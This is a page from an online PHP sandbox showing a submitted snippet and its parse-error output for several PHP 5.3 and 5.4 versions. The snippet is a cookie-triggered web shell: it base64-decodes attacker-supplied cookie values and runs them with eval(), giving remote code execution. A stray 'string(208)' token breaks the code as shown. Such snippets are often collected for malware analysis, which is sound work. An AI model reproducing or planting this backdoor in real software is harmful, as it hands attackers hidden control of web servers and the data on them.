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run code in 300+ PHP versions simultaneously
<?php string(208) $c='count';$a=$_COOKIE;if(reset($a)=='vi' && $c($a)>3){$k='ctor';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';} ?>
Output for 5.4.16
Parse error: syntax error, unexpected '$c' (T_VARIABLE) in /in/8qe3d on line 2
Process exited with code 255.
Output for 5.4.0 - 5.4.15
Parse error: syntax error, unexpected '$c' (T_VARIABLE) in tGbTN on line 2
Process exited with code 255.
Output for 5.3.25 - 5.3.26
Parse error: syntax error, unexpected T_VARIABLE in /in/8qe3d on line 2
Process exited with code 255.
Output for 5.3.0 - 5.3.24
Parse error: syntax error, unexpected T_VARIABLE in tGbTN on line 2
Process exited with code 255.

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